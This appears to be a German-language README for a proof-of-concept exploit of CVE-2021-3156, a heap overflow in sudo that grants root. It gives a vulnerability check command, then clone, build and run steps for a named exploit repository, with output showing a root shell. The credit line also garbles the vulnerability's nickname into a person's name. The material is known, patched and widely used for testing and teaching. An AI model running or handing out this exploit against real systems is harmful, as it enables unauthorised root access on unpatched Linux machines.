
Proof-of-concept-Exploit für CVE-2021-3156, einen heap-basierten Pufferüberlauf in sudo vor Version 1.9.5p2, der eine Privilegieneskalation zu root über sudoedit -s ermöglicht.
Sudo vor 1.9.5p2 enthält einen Off-by-One-Fehler, der zu einem Heap-basierten Pufferüberlauf führen kann, der eine Privilegieneskalation zu root über sudoedit -s und ein Befehlszeilenargument ermöglicht, das mit einem einzelnen Backslash-Zeichen endet.
Credit: Hinweis von Baron Samedit of Qualys
Das sudo-Projekt hat einen Befehl veröffentlicht, mit dem Sie testen können, ob Ihre Version von sudo anfällig ist:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
Wenn Sie eine Verwendungs- oder Fehlermeldung erhalten, ist sudo nicht anfällig. Wenn das Ergebnis ein Segmentation Fault ist, ist sudo anfällig.
Root-Shell-PoC für CVE-2021-3156 (ohne Brute-Force) Getestet auf Ubuntu 20.04 (sudo 1.8.31)
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root